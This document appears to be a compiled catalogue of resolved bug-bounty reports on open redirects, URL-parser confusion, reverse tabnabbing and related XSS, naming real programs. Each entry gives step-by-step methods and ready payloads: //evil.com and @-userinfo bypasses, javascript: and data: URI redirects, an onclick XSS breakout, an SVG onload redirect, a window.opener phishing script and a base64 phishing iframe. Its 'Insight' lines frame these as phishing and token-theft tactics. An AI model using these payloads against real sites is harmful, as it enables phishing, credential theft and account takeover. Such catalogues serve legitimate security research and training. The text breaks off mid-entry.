The Website URL property is stored unsanitised and reflected into the banner preview (affiliate-preview.php). An attacker-supplied value breaks the HTML attribute and injects an onclick handler, giving both stored XSS and an arbitrary redirect when an admin views the preview.
Method
- As a low-priv Default Manager, set a Website URL to a breaking-out payload
- Save; the value is stored
- When an admin opens affiliate-preview.php and clicks the banner, JS executes / redirect fires
http://Test"><img src=x onclick=window.location="http://evil.com">
Insight — Ad/banner preview and admin report pages that render tenant-supplied URLs are dual XSS + open-redirect sinks; a low-priv user can attack higher-priv admins who view the content. CVE-2021-22871.
Real-world example
Markdown link display-text vs target spoofing (@ userinfo + unicode slash)
◆ Low
Specimen #59469 · security · awarded · 3 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A Markdown renderer shows the link display text while navigating to a differently-crafted href; browsers treat host@target as userinfo, and unicode look-alike slashes/dots defeat naive URL sanitizers.
Method
- In any Markdown/rich-text field, craft [display_url](real_url) where display_url is a trusted-looking URL.
- Put the trusted host in the userinfo portion: http://google.com/home@attacker.tld -> browser goes to attacker.tld.
- If the renderer blocks plain schemes, substitute unicode homoglyph slash (U+2044/U+2215) or percent-encode dots (google%2Ecom) to bypass the parser while still rendering a legit-looking string.
[http://google.com/home](http://google.com ⁄ home@google.lv)
[http://google.com](http:\\/gоogle.com)
[http://google.com](http:gоogle%2Ecom)
Insight — On any target that renders user Markdown/HTML links (reports, comments, tickets), test display-vs-href mismatch: userinfo '@' trick, unicode homoglyph slashes/dots, and encoded separators to bypass URL validators and build convincing phishing links.
Real-world example
Unrestricted return_url in admin account-switch
◆ Low
Specimen #390663 · revive_adserver · none · 3 votes · resolved
Program revive_adserverSurface webTag account-takeover
Root cause
account-switch.php reflects return_url into a redirect with no same-origin/allow-list check, so a logged-in admin can be sent to an arbitrary external host — high-value for support-request phishing.
Method
- As a logged-in user, load account-switch.php with return_url set to an external URL
- Observe redirect off-domain
http://INSTANCE/www/admin/account-switch.php?return_url=http://evil.com/test
Insight — return_url/returnTo/next on privileged admin actions are prime phishing vectors; pad the URL with campaign-like junk params for credibility. CVE-2019-5433.
Real-world example
fastify-static //host/%2e%2e library open redirect
◆ Low
Specimen #1354255 · fastify · none · 3 votes · resolved
Program fastifySurface webChain open redirect -> SSRF allow-list bypass / OAuth token theTag account-takeover
Root cause
With fastify-static mounted at root and redirect:true, a request path //google.com/%2e%2e is normalised and 301'd with a protocol-relative Location, redirecting off-site. Same root cause class as ExpressJS CVE-2015-1164.
Method
- Mount fastify-static at / with redirect:true
- Request //evil.com/%2e%2e
- Server 301s to //evil.com/%2e%2e/ — Firefox follows off-site
GET //google.com/%2e%2e HTTP/1.1
Host: TARGET
-> HTTP/1.1 301 location: //google.com/%2e%2e/
Insight — Static-file middlewares that auto-redirect for trailing-slash normalisation are open-redirect sinks via //host/%2e%2e. Note browser-dependence (worked in Firefox only). Open redirect is also an SSRF-filter and OAuth-token-theft gadget.
Real-world example
Open redirect via reflected _wp_http_referer on WordPress failure page
◆ Low
Specimen #112955 · withinsecurity · awarded · 1 votes · resolved
Program withinsecuritySurface webChain forced error page -> reflected _wp_http_referer link ->
Root cause
The WordPress 'Failure Notice' page uses the attacker-supplied _wp_http_referer parameter, without same-origin validation, as the href of its 'Please try again.' link; the failure page can be forced deterministically, yielding an open redirect from a trusted domain.
Method
- Append ?wpcspReceiveCSPviol=1 to any page to force the WordPress Failure Notice page.
- Add &_wp_http_referer=attacker.com so the failure page's 'try again' link points off-site.
- Send the trusted-domain URL to a victim; the link leads to attacker-controlled content.
https://TARGET/any-page?wpcspReceiveCSPviol=1&_wp_http_referer=attacker.com
Insight — Redirect/back-link parameters (_wp_http_referer, returnTo, next, redirect_uri) that are reflected into links or Location without host allow-listing are open redirects; the trick here is a reliable trigger for the error page (wpcspReceiveCSPviol=1). Chase phishing and OAuth redirect_uri abuse from these.
Real-world example
Unvalidated redirect parameter (protocol-relative // and slash/traversal variants)
◆ Low
Specimen #288219 · moneybird · none · votes · resolved
Program moneybirdSurface webTag account-takeover
Root cause
A post-action return/next/redirect parameter is placed into the redirect target with no host allowlist. A protocol-relative value //evil.com makes the browser navigate to the attacker host; sibling variants (///, /\, /..//, ?url=, fallback=, prejoin_data=) exploit the same missing validation.
Method
- Enumerate redirect params: return_to, return, next, url, redirect, fallback, checkout_url, prejoin_data, RelayState.
- Test protocol-relative //evil.com first (survives leading-slash-only checks); then ///evil.com, /\evil.com, /..//evil.com.
- If the sink only fires on POST, replay it as GET to make it a clickable link (works on tt-rss return=).
https://moneybird.com/user/edit?return_to=//evil.com
variants:
//evil.com (protocol-relative)
///evil.com (avito next=///url, #355558)
/..//evil.com (shopify bulk return_to, #169759)
//blackfan.ru/..;/ (cloud.gov, #387007)
?url=http://evil.com (semrush redirect, #311330)
fallback=https://evil.com (bitwala, #967284)
prejoin_data=domain%2Fevil (chaturbate, #413426)
authorize_callback=//evil.com (twitter, bypass of prior fix, #283460)
return= + POST->GET (tt-rss, #503922)
Insight — The workhorse open-redirect test set: for every 'return you somewhere after an action' param, try //, ///, /\, /..//, and an absolute URL. Protocol-relative // is the single highest-yield payload because it defeats naive 'starts with /' allowlists. If the sink is POST-only, method-swap to GET for delivery.
Real-world example
Reverse tabnabbing via target=_blank without rel=noopener
◆ Low
Specimen #1145563 · security · none · votes · resolved
Program securitySurface webChain reverse tabnabbing -> phishing -> credential theftTag account-takeover
Root cause
User-supplied links are rendered with target=_blank but without rel="noopener noreferrer". The newly opened attacker page retains a window.opener reference and rewrites the original tab's location to a phishing page while the victim is looking at the new tab.
Method
- Find a place that renders user URLs as target=_blank links (report bodies, comments, profiles).
- Point the link at an attacker page containing the window.opener redirect script.
- When the victim opens it, the original trusted tab is silently navigated to the phishing page.
<script>
if (window.opener) window.opener.location.replace('https://phishing.tld');
if (window.parent != window) window.parent.location.replace('https://phishing.tld');
</script>
Insight — target=_blank without rel=noopener is a background open-redirect of the *original* tab. Look for user-controlled links opened in new tabs and confirm noopener is missing.
Real-world example
URL userinfo '@' trick to bypass host validation
◆ Low
Specimen #1267176 · jetblue · none · votes · resolved
Program jetblueSurface webTag account-takeover
Root cause
A redirect value or crafted URL of the form https://TRUSTED_https@attacker.com is parsed by the browser with everything before @ as userinfo, so navigation goes to the authority after @ (attacker.com), while naive checks see the trusted string.
Method
- Construct/inject a URL where the trusted host sits before an @ and the attacker host after it.
- Confirm the browser navigates to the post-@ authority (Firefox may prompt).
- Use against redirect params or link-warning pages that only substring-check the trusted host.
https://TRUSTED_https@google.com
(general: https://TRUSTED@attacker.com or redirect=https://TRUSTED@attacker.com)
Insight — The @ (userinfo) trick separates 'looks-trusted' from 'is-trusted': everything before @ is credentials, the real host follows. Always test TRUSTED@attacker.com against redirect filters and destination-display warnings.
Real-world example
next= redirect param that also accepts javascript: URI (open redirect -> XSS)
◆ Info
Specimen #683298 · x · 1540 · 247 votes · resolved
Program xSurface webChain open redirect -> javascript: URI -> XSS -> session/Tag account-takeover
Root cause
Login next/return parameter is redirected to without scheme validation, so both external http(s) URLs and javascript: URIs are honored.
Method
- Find login/return param: /login?next=<url>
- Set it to an external URL to confirm open redirect
- Swap to javascript:alert(1) to test for DOM-context execution
https://app.mopub.com/login?next=https://google.com
https://app.mopub.com/login?next=javascript:alert("proof of concept")
Insight — Whenever a redirect param lands in a location/href sink, also test javascript: (and data:) schemes; a plain open redirect frequently upgrades to XSS when only host, not scheme, is checked.
Real-world example
domain_name= redirect that appends a fixed path (/admin)
◆ Info
Specimen #101962 · shopify · awarded · 60 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A preview endpoint redirects to a user-supplied domain and appends a fixed path, so any external host is honored.
Method
- Set domain_name to attacker host
- Load the preview URL
- Get redirected to http://attacker/admin
https://app.shopify.com/services/google/themes/preview/supply--blue?domain_name=example.com -> http://example.com/admin
Insight — Params literally named domain_name / host / shop are prime open-redirect sinks; a trailing appended path (/admin) is trivially satisfied by hosting that route on the attacker domain.
Real-world example
Path concatenation -> domain confusion (victim.com.attacker.com)
◆ Info
Specimen #320376 · security · awarded · 53 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A path-based redirect strips a known prefix and concatenates the remainder to the base host without a separator, so a crafted suffix produces victim.com.attacker.com as the destination host.
Method
- Observe /index.php/xyz redirects to /xyz
- Craft input so the base host and attacker string concatenate: /index.php/index.php.attacker.com
- Result redirects to www.victim.com.attacker.com (an attacker-owned domain)
https://www.hackerone.com/index.php/index.php.hacker0ne.com -> https://www.hackerone.com.hacker0ne.com/
Insight — When a redirect concatenates user input onto the origin without a slash, register victim.com.attacker.com to make the malicious host look like a victim subdomain; test suffix-appended redirect builders.
Real-world example
Flash swfupload.swf open redirect/defacement + invalid-hex filter bypass
◆ Info
Specimen #209520 · nextcloud · none · 42 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Legacy swfupload.swf reads flashvars (movieName/buttonImageURL/etc) from query params and loads them; its filter that deletes passed params is defeated by inserting an invalid percent-hex sequence (%x) that Flash strips, letting the tainted var through.
Method
- Locate a known-vulnerable SWF (swfupload.swf, moxieplayer.swf, ZeroClipboard) under the app
- Pass buttonImageURL/movie params pointing at an attacker SWF/image
- Break the param name with an invalid %-hex (e.g. buttonImag%xeURL) so the filter misses it but Flash rebuilds it
http://www.nextcloud.com/wp-includes/js/swfupload/swfupload.swf?debugEn%xabled=true&buttonImag%xeURL=https://ATTACKER/PugOfConcept/pugOfConcept.swf
Insight — Old WordPress/Flash artifacts (swfupload.swf) remain open-redirect/defacement/XSS sinks; and %-encoding with invalid hex digits (%x, %g) is a general trick to smuggle blacklisted param names past filters that later normalize the string.
Real-world example
noredirect toggle + url= param yields open redirect
◆ Info
Specimen #246897 · x · awarded · 41 votes · resolved
Program xSurface webTag account-takeover
Root cause
A media/streaming endpoint carries a url= redirect target guarded by a noredirect=true flag; flipping it to false performs the external redirect.
Method
- Find endpoint with a url= param and a noredirect/skip flag
- Set the target url= to an external host
- Flip noredirect=true -> false to enable the redirect
https://t.lv.twimg.com/live_video_stream/authorized_status/.../...?url=https://google.com/&ctx=...&noredirect=false
Insight — Redirect endpoints sometimes gate the behavior behind a boolean param (noredirect, skip, direct); enumerate and flip such flags, and always test the accompanying url=/target= param for an external host.
Real-world example
Path-based redirect concatenation (missing slash -> lookalike domain suffix)
◆ Info
Specimen #439075 · security · none · 39 votes · resolved
Program securitySurface webTag account-takeover
Root cause
index.php redirects /index.php/<path> to /<path> by string concatenation onto the base host without a separating slash. Feeding index.php.<domain> produces www.hackerone.com.<domain>, a subdomain the attacker controls.
Method
- Find an endpoint that redirects a trailing path segment back onto the site's own host.
- Provide a value that, once concatenated without a slash, forms host.attacker.com.
- Confirm the Location resolves to the attacker-controlled parent domain.
https://www.hackerone.com/index.php/index.php.hacker0ne.com
-> redirects to https://www.hackerone.com.hacker0ne.com/
Insight — When a redirect builds the target by concatenating user input onto the host string, a missing slash lets you turn TRUSTED into TRUSTED.attacker.com. Test host-suffix payloads, not just absolute URLs.
Real-world example
Open redirect via protocol-relative %2F%2F filter bypass
◆ Info
Specimen #158434 · shopify · awarded · 37 votes · resolved
Program shopifySurface web
Root cause
The redirect (path=) filter blocks absolute URLs but a double-URL-encoded/protocol-relative //evil.com (%2F%2F) slips through and the browser navigates off-site.
Method
- Find the redirect parameter (path=)
- Supply value %2F%2Fevil.com
- Victim lands on 404 then is redirected to attacker site
http://supporthiring.shopify.com/apps/locksmith/resource/pages/gauntlet-challenge?&path=%2F%2Fevil.com
Insight — Protocol-relative //host and encoded %2F%2F bypass naive redirect validators that only reject http(s):// or leading /. Chain open redirect into OAuth token theft, phishing, or CSP/redirect-based exfil.
Real-world example
User-controlled next_url reflected after password reset -> credential phishing
◆ Info
Specimen #163067 · uber · awarded · 35 votes · resolved
Program uberSurface webChain Open redirect in reset flow -> phishing -> credential Tag account-takeover
Root cause
The forgot-password flow honors an attacker-supplied next_url and redirects there after the reset completes. Because the redirect fires in an authenticated, trusted context, a crafted next_url (even a data: URI) can present a convincing fake password-confirmation form.
Method
- Craft a forgot-password link with next_url set to attacker content (URL or data: URI iframe)
- Send victim the link; they complete the legitimate reset
- After reset they are redirected to attacker's next_url
- Fake 'confirm your password' form harvests the just-set credentials
https://login.target.com/forgot-password?source=auth&next_url=data:text/html;base64,PGlmcmFtZSBzcmM9aHR0cDovL2dvby5nbC92TkE3RHYgaGVpZ2h0PTEwMCUgd2lkdGg9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPg==
Insight — Redirect/return parameters that survive through an auth transition (login, reset) are far more dangerous than plain open redirects because the user trusts the post-action page. Never reflect user-controlled next_url after a sensitive action.
Real-world example
Redirect target concatenated without slash -> TLD/suffix domain append
◆ Info
Specimen #103772 · shopify · awarded · 29 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
After login, the app redirects to <shop-host><checkout_url> without a separating slash. checkout_url=.np yields shop.myshopify.com.np, an attacker-registerable domain outside Shopify.
Method
- Find a post-login return/checkout_url param appended to the current host.
- Set it to a value beginning with a dot (or no slash) so it extends the host into an attacker domain.
- Log in and observe redirect to host.attacker-suffix.
http://SHOP.myshopify.com/account/login?checkout_url=.np
-> https://SHOP.myshopify.com.np/
Insight — Same missing-slash concatenation class as #439075 but via a business param (checkout_url) and a registerable TLD suffix. Fix is <host>/<param>; the bug is host+param.
Real-world example
Hyperlink injection via profile field rendered in emails
◆ Info
Specimen #164833 · algolia · USD 100 · 20 votes · resolved
Program algoliaSurface web
Root cause
A user-controlled profile field (name) is auto-linkified when embedded in system-generated emails (invitations/referrals), so setting it to a URL injects an attacker link sent from the trusted domain.
Method
- Set a profile field (first/last name) to a full URL like http://example.com
- Trigger a system email that includes that field (send an invite/referral to your own address)
- The email renders the field as a clickable link from the trusted sender
Set account last name (or first name) to: http://example.com
Then: My Account > Referral > invite an address you control
Insight — Any profile field echoed into emails/notifications with auto-linkification is a phishing primitive. Test name, bio, company, display fields; impact includes sender-domain reputation and credible phishing.
Real-world example
Open redirect via callback URL parser confusion (newline + \@host)
◆ Info
Specimen #294867 · x · awarded · 19 votes · resolved
Program xSurface web
Root cause
A post-auth redirect (authorize_callback) validates the host by suffix but the URL parser is confused by an embedded newline and a backslash-at (\@), so google.com becomes the effective host while the string still ends in the allowlisted domain.
Method
- Set authorize_callback to https://%0Agoogle.com%5C@allowed.host
- Complete the auth/team-up flow
- Get redirected to google.com despite the allowed-domain suffix
https://twitter.com/teams/authorize?target_screen_name=&authorize_callback=https%3A%2F%2F%0Agoogle.com%5C@x.twitter.com
Insight — Redirect allowlists that check for a trailing legit domain are defeated by userinfo tricks (evil.com\@legit, evil.com%00@legit, evil.com%0A@legit): the browser treats everything before @ as credentials and navigates to the attacker host while the allowlisted domain after @ passes naive validation.
Real-world example
Redirect chaining through an allow-listed trusted host
◆ Info
Specimen #159522 · shopify · awarded · 17 votes · resolved
Program shopifySurface webChain open redirect (trusted host) -> attacker-controlled store
Root cause
A redirect is restricted to a trusted domain (checkout.shopify.com/<store_id>), but that trusted destination itself performs an attacker-configurable redirect (store 404/URL-redirect rules), so the allowlist is transitively bypassed.
Method
- Note the redirect only allows an internal trusted host with an ID path
- Create your own store on that trusted host and configure an Old-path -> evil.com redirect (or inject JS in the 404 page)
- Send victim return_url pointing at the trusted host + your store id
https://VICTIM.myshopify.com/account/logout?return_url=https://checkout.shopify.com/ATTACKER_STORE_ID
https://VICTIM.myshopify.com/account/login?checkout_url=https://checkout.shopify.com/ATTACKER_STORE_ID
# fix bypass with path traversal to reach attacker store id + JS in its 404 page:
?return_url=https://checkout.shopify.com/VICTIM_STORE_ID/../ATTACKER_STORE_ID
Insight — An allowlisted host is only as safe as its own redirect behavior. If you control content/redirect rules on the trusted host, you get an open redirect for free; /../ path traversal can defeat a fix that pins the exact allowed ID.
Real-world example
OAuth /authorize as an open redirector (error redirect to redirect_uri)
◆ Info
Specimen #55525 · shopify · USD 500 · 14 votes · resolved
Program shopifySurface webTag oauth
Root cause
An OAuth authorize endpoint redirects the user to the app's registered redirect_uri when it returns an error (e.g. invalid_scope) before validating the request, letting an attacker who registers an app use the provider as a trusted open redirector.
Method
- Register an OAuth app with redirect_uri set to the attacker/phishing site
- Build an /authorize URL that triggers an early error (e.g. an invalid scope)
- Provider 302s the victim to redirect_uri with the error appended
https://SHOP.myshopify.com/admin/oauth/authorize?client_id=ATTACKER_APP&scope=INVALID&redirect_uri=https://www.facebook.com/abc
# -> 302 to https://www.facebook.com/abc?error=invalid_scope&...
Insight — OAuth/OIDC authorize and /oauth/authorize endpoints are premium open redirectors: attacker-registered redirect_uri + a request that errors early yields a redirect on the provider's trusted domain. Also test with missing required params.
Real-world example
Unvalidated OAuth/OIDC redirect params (state, post_logout_redirect_uri)
◆ Info
Specimen #846389 · acronis · none · 12 votes · resolved
Program acronisSurface webTag oauth
Root cause
OAuth/OIDC authorize and logout endpoints reflect user-supplied redirect-family params (state, post_logout_redirect_uri) into a Location without validating against a registered URI allowlist.
Method
- Enumerate OIDC/OAuth endpoints: /authorize, /oidc/logout, /login, /callback.
- Set the redirect-family param to an external URL: state=http://evil.com or post_logout_redirect_uri=http://evil.com.
- Supply any placeholder for accompanying params (id_token_hint=test) and observe a 302 Location to evil.com.
https://TARGET/api/2/idp/authorize?client_id=CID&redirect_uri=%2Fcb&response_type=code&scope=openid&state=http://evil.com&nonce=x
# OIDC logout variant
https://TARGET/api/iam/authn/v1/oidc/logout?post_logout_redirect_uri=http://evil.com&id_token_hint=test
Insight — Do not test only redirect_uri. state, nonce, and post_logout_redirect_uri are frequently reflected into Location with weaker or no validation, especially on the OIDC logout endpoint. Always probe the whole OAuth param surface.
Real-world example
URL allow-list bypass via @ userinfo authority
◆ Info
Specimen #62301 · udemy · awarded · 10 votes · resolved
Program udemySurface webTag account-takeover
Root cause
A link filter allow-lists by substring/prefix match on a trusted host, but browsers parse http://user@host so an attacker appends @evil.com to a whitelisted host to reach an arbitrary destination.
Method
- Find the link/URL allow-list that permits a trusted host prefix
- Craft https://TRUSTED_HOST@evil.com/ (optionally URL-encode the @ to defeat display heuristics)
- Post it; the link renders as trusted but navigates to attacker domain
https://support.udemy.com@evil.com/
# encoded variant to dodge display filters:
https://support.udemy.com%40evil.com/
Insight — Host allow-lists that don't parse the URL authority are bypassable with the @ userinfo trick, and again with encoded @, backslashes, or trusted.com.evil.com. Test these whenever a filter claims to restrict outbound/embedded links.
Real-world example
Host / X-Forwarded-Host reflected into Location header
◆ Info
Specimen #94637 · whisper · USD 30 · 7 votes · resolved
Program whisperSurface webChain host header injection -> open redirect / password-reset lTag account-takeover
Root cause
The server/rewrite layer echoes the client-supplied Host (or X-Forwarded-Host) header into the Location of a 301/302 without validating it against the canonical domain, so an attacker sets Host to any value to control the redirect target.
Method
- Send a request with a spoofed Host header pointing at an attacker domain.
- Observe the 301/302 Location reflecting that host.
- Where the app uses Host to build links (password reset, logout), redirect those flows off-site.
GET / HTTP/1.1
Host: attacker.com
# -> HTTP/1.1 301 Moved Permanently
# Location: https://attacker.com/
Insight — Anywhere the app trusts the Host/X-Forwarded-Host header to build absolute URLs is an open-redirect and password-reset-poisoning sink. Always test both Host and X-Forwarded-Host; check logout and reset flows specifically.
Real-world example
Path normalization (/../) bypasses redirect-filter routing
◆ Info
Specimen #28865 · security · USD 500 · 6 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The redirect-safety interstitial is only applied to URLs matching a path prefix (/redirect). Because links to internal paths skip the filter, prefixing with /../ makes the browser normalize the path back to /redirect while the app's prefix match (applied pre-normalization) treats it as internal and skips the warning.
Method
- Identify the signed redirect endpoint that shows a Proceed interstitial (/redirect?signature=..&url=..).
- Rewrite the path as /../redirect/... so the app's prefix check misses it but the browser normalizes to the real endpoint.
- Redirect fires without the safety prompt.
https://TARGET/../redirect/secure?signature=SIG&url=http%3A%2F%2Fwww.evil.com
Insight — Client-side URL normalization (/../, /./, //) diverges from server-side prefix matching. When a protection is gated on a path prefix, wrap the path to change how each side parses it.
Real-world example
Protocol-relative // and /%2F prefix open redirect
◆ Info
Specimen #57163 · security · awarded · 6 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A redirect handler treats a path beginning with // (or an encoded /%2F) as a local path, but the browser interprets // as a protocol-relative absolute URL to an external host.
Method
- Append the target as //evil.com or /%2Fevil.com to the vulnerable path.
- Server thinks it is a local redirect; browser navigates off-site.
https://TARGET//evil.com
https://TARGET/%2F1572395042 (redirects to that IP)
https://TARGET//hackerone.com (works) vs //hackerone1.com (does not)
Insight — // and /%2F are the two cheapest open-redirect primitives. Always try target//evil.com and target/%2Fevil.com before anything fancier.
Real-world example
Domain-suffix append: return_to=.tld yields host.com.tld redirect
◆ Info
Specimen #55546 · shopify · USD 500 · 6 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The app concatenates the canonical host with an attacker-controlled return_to suffix without a separating slash, so return_to=.mx produces a redirect to host.com.mx, an attacker-registrable domain.
Method
- Set return_to to a TLD/suffix like .mx (or .es, .tw).
- After login the user is redirected to canonicalhost.com.mx.
- Register that lookalike domain to receive victims.
http://ecommerce.shopify.com/accounts?found_email=true&return_to=.mx%2F&user[email]=email@email.com
# -> redirects to http://ecommerce.shopify.com.mx/
Insight — When a redirect value is string-concatenated onto the base host, a leading . or - appends a new label/TLD you can register (host.com.mx, host.com.evil.com). Test suffix values, not just full URLs.
Real-world example
Redirect target sourced from unvalidated cookie
◆ Info
Specimen #161991 · shopify · awarded · 6 votes · resolved
Program shopifySurface webChain cookie injection -> open redirectTag account-takeover
Root cause
A convenience endpoint (www.shopify.com/admin/*) redirects to <shop>.myshopify.com/admin/* where <shop> is taken from the last_shop cookie with no validation, so any cookie value yields an arbitrary-domain redirect.
Method
- Find the endpoint that builds a redirect from a cookie value.
- Set the cookie (via a subdomain XSS, cookie-injection, or a prior request) to an attacker host.
- Trigger the endpoint; redirect goes to the cookie-controlled domain.
Cookie: last_shop=evil.com
GET https://www.shopify.com/admin/
Insight — Redirect sinks are not always in query params. Audit cookies, referers, and stored/profile fields that feed Location. A cookie-driven redirect pairs well with any subdomain cookie-injection primitive.
Real-world example
Unauthenticated open redirect via file= param in document viewer
◆ Info
Specimen #131082 · owncloud · USD 150 · 5 votes · resolved
Program owncloudSurface webTag account-takeover
Root cause
The pdfviewer app takes a file= URL and, on the viewer's download action, navigates the browser to that arbitrary external URL with no authentication and no validation.
Method
- Craft the viewer URL with file= pointing at an external host.
- Victim opens it (no auth needed) and clicks the viewer's Download button.
- Browser is redirected to the external URL.
https://demo.owncloud.org/index.php/apps/files_pdfviewer?file=https://evildomain.xx/EvilFile.xx
Insight — Document/media viewers (pdf.js wrappers, image previewers) commonly proxy or fetch a file= URL and are open-redirect/SSRF sinks. Test file=, url=, src=, doc= on any embedded viewer, authenticated or not.
Real-world example
Flash SWF FlashVars link= open redirect
◆ Info
Specimen #6564 · khanacademy · none · 5 votes · resolved
Program khanacademySurface webTag account-takeover
Root cause
A Flash player .swf takes a link/displayclick FlashVar and calls navigateToURL on click without restricting the destination, yielding an open redirect from a static asset.
Method
- Locate embedded .swf players that accept link/clickTAG/url FlashVars.
- Pass link=http://evil.com and the click action navigates off-site.
http://smarthistory.khanacademy.org/assets/images/media/player.swf?displayclick=link&link=http://google.com&file=1.jpg
Insight — Legacy Flash assets (player.swf, clickTAG ad SWFs) are classic open-redirect/XSS sinks via getURL/navigateToURL. When you find a .swf on scope, test link=, clickTAG=, url= FlashVars.
Real-world example
Homograph/IDN + control-char bypass of external-link warning
◆ Info
Specimen #59372 · security · none · 5 votes · resolved
Program securitySurface webTag spoofing-phishing
Root cause
The external-link warning page renders IDN/Unicode hostnames without punycode encoding, so lookalike (Cyrillic) domains display as the real brand; prefixing with hex control bytes (%00-%1F) further evades the warning's blocklist.
Method
- Register an IDN homograph of the target brand (Cyrillic а in ebаy.com).
- Feed it through the link-warning page; it displays as the legitimate brand (no punycode).
- Prefix with %00..%1F to slip past additional filtering.
www.%00ebаy.com
www.%01ebаy.com
... www.%1Febаy.com (Cyrillic 'а')
Insight — Link-warning / redirect interstitials that don't punycode-encode Unicode hosts enable convincing homograph phishing. Also fuzz control-char prefixes (%00-%1F, %0B, %0C) against any URL sanitizer.
Real-world example
Same-domain redirect allowlist bypassed via uploaded SVG onload
◆ Info
Specimen #104087 · slack · USD 1000 · 4 votes · resolved
Program slackSurface webChain SVG upload on trusted host -> same-domain redirect allowlTag file-uploadTag account-takeover
Root cause
After a redirect fix restricted the redir target to the same domain (slack.com / *.slack.com), the attacker uploads an SVG containing onload=window.location to the trusted file host (files.slack.com) and points redir at that public SVG URL, re-enabling arbitrary redirect from a whitelisted domain.
Method
- Confirm the redirect param now only allows same-domain targets.
- Upload an SVG with an onload=window.location='http://evil.com' payload and get its public URL on the trusted file host.
- Set redir= to that same-domain SVG URL; opening it executes the redirect.
<svg onload="window.location='http://www.example.com'" xmlns="http://www.w3.org/2000/svg"></svg>
https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489
# base variants: https://slack.com/checkcookie?redir=http://evil.com | https://TEAM.slack.com/?redir=llink?url=https://evil.com
Insight — A same-domain-only redirect allowlist is defeated if the domain hosts attacker-controlled active content. Look for file/upload hosts, user profiles, or existing open-redirects on the whitelisted origin; SVG served inline with onload is a general redirect/XSS gadget.
Real-world example
Triple-slash (///) bypass of //-stripping redirect filter
◆ Info
Specimen #76738 · zaption · awarded · 4 votes · resolved
Program zaptionSurface webTag account-takeover
Root cause
Logout returnTo param feeds Location directly. A filter that strips or normalises a leading // is defeated by /// — browsers still treat ///evil.com as a protocol-relative navigation to evil.com.
Method
- Find a redirect param (returnTo/next/redirect)
- Try //evil.com; if blocked, try ///evil.com or ////evil.com
- Confirm Location header and browser navigation to external host
https://TARGET/logout?returnTo=///evil.com/
-> Location: ///evil.com
Insight — When // is filtered, escalate slash count (///, \/\/, /\/). A defence that replaces '//' with '/' actually creates the /// bypass.
Real-world example
Protocol-relative // path redirect
◆ Info
Specimen #113112 · paragonie · awarded · 4 votes · resolved
Program paragonieSurface webTag account-takeover
Root cause
Server treats a request path beginning with // as a same-site path but the browser (and a protocol-relative Location) interprets //host/ as an absolute URL to an external host.
Method
- Append the external host after a double slash on the site root
- Load https://TARGET//evil.com/ and observe navigation off-site
https://TARGET//google.com/
Insight — Always test bare //evil.com against any redirect param OR directly against the path root — protocol-relative URLs bypass 'must start with /' same-site checks.
Real-world example
Open redirect + reflected XSS via return_url javascript: URI
◆ Info
Specimen #50379 · adobe · none · 4 votes · resolved
Program adobeSurface webChain return_url -> href/location sink -> open redirect (phi
Root cause
A return_url/redirect parameter used after login/register is placed into a link or window.location without scheme validation, so //host redirects off-site (open redirect) and javascript: executes script.
Method
- Find a return_url/redirect_to/next parameter
- Set it to //evil.tld to confirm open redirect
- Set it to javascript:alert(1) and trigger the login/register action to fire XSS
?return_url=//www.google.com (open redirect)
?return_url=javascript:alert(1) (XSS)
Insight — Redirect-back parameters are dual-use sinks: test both // (open redirect, for phishing/token theft) and javascript:/data: (XSS). If the value lands in an href or location assignment without an allowlist, both work.
Real-world example
@-symbol (userinfo) bypass of redirect filter
◆ Info
Specimen #39631 · x · USD 280 · 3 votes · resolved
Program xSurface webTag account-takeover
Root cause
redirect_url is treated as trusted; prefixing the value with @ makes the parser read the site's own token as URL userinfo and the attacker host as the authority, so the browser navigates to the attacker host.
Method
- Take a login redirect_url that appears same-site
- Prepend @evil.com to the value
- Observe redirect to evil.com
https://www.fabric.io/login?redirect_url=@google.com
Insight — When a redirect value is concatenated after a fixed prefix, inject @ so everything before it becomes userinfo. Combine with //, \, or whitespace for parser-confusion bypasses.
Real-world example
Single-slash scheme bypass (http:/host)
◆ Info
Specimen #6357 · khanacademy · none · 3 votes · resolved
Program khanacademySurface webTag account-takeover
Root cause
Filter blocks http://host but the continue param is fed to a redirect that browsers normalise; http:/host (one slash) passes the blacklist yet still resolves to the external host.
Method
- Try continue=http://evil.com — blocked
- Retry with a single slash: continue=http:/evil.com — redirects
https://TARGET/login?continue=http:/www.evil.com
Insight — Browsers tolerate malformed scheme separators (http:/, https:/, http:\\). If http:// is filtered, drop a slash — the filter misses it, the browser fixes it.
Real-world example
Substring + extension allow-list bypass via query string
◆ Info
Specimen #44157 · vimeo · none · 3 votes · resolved
Program vimeoSurface webTag account-takeover
Root cause
Redirect filter required the value to contain 'vimeocdn.com/' and end in an image extension. Both checks are satisfied by placing the required substring and .png inside the query string of an attacker URL, so the host is still the attacker's.
Method
- Read the filter: must contain allowed-domain substring AND end with image ext
- Craft http://attacker.com?<allowed-substring>.png so both string checks pass
- Confirm redirect to attacker.com
https://vimeo.com/tools/edit?image=http://securityidiots.com?vimeocdn.com/.png
Insight — Substring-contains and endsWith checks are trivially bypassed by embedding the required tokens in the attacker URL's path/query. The authority is decided by the leading host, not by later substrings.
Real-world example
'referrer' form param as post-submit redirect sink
◆ Info
Specimen #172746 · websummit · none · 3 votes · resolved
Program websummitSurface webTag account-takeover
Root cause
Registration/gate forms carry a referrer parameter (POST body or Referer header) that is used as the post-submit redirect destination with no validation, sending the user to an arbitrary external host after they complete the form.
Method
- Identify a form that returns to a referrer/return value after submit
- Set referrer=http://evil.com in the request
- Complete the form; user is redirected off-site
POST /gates HTTP/1.1
Host: forms.websummit.net
phone_number=...&referrer=http://evil.com&slug=...
Insight — Look beyond query params: form-body 'referrer'/'return' fields and the Referer header itself are common redirect sinks on multi-step/registration flows. The same param recurred across three sibling event sites.
Real-world example
Flash cross-domain read via file upload + 307 open redirect
◆ Info
Specimen #51265 · ibb · awarded · 3 votes · resolved
Program ibbSurface webChain open redirect (307) -> Flash cross-domain read/writeTag corsTag open-redirect
Root cause
